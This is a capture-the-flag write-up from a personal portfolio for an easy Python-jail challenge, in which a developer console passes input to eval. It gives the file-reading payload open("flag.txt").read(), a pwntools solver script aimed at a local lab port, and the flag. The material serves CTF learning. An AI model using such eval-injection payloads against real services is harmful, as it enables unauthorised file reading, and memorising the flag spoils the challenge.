archlinux / r3t0x@portfolio
ALL SYSTEMS NOMINAL /
← Back to archive · Misc

Securinets Friendly CTF 2026 / Misc WRITEUP

Cheat Code

Rockstar left the developer console in the release build. Quality control must have been watching the trailer.

EVENTSecurinets Friendly CTF 2026CATEGORYMiscDIFFICULTYeasyPOINTS200
pyjail

Walkthrough

Solution

The developer console passes the submitted expression directly to Python's eval. There is no sandbox or filter, so evaluating open("flag.txt").read() returns the flag immediately.

Reference solver

The reference solver supplied with the writeup:

#!/usr/bin/env python3

from pwn import *


context.log_level = "error"

p = process(["python3", "-u", "chall.py"]) if args.LOCAL else remote("127.0.0.1", 9041)

p.sendlineafter(b"> ", b'open("flag.txt").read()')
p.recvuntil(b"Securinets{")
flag = b"Securinets{" + p.recvuntil(b"}")
print(flag.decode())
p.close()

Flag

Securinets{ch34t_c0d3_4ct1v4t3d_d3v_c0ns0l3_0p3n}
Published 2026-09-28 · by r3t0x← Back to archive · Misc
0xSEARCH_INDEX

Trace a memory.

INDEX ONLINE0 addresses
↑↓ TRACEENTER OPENESC DISMISS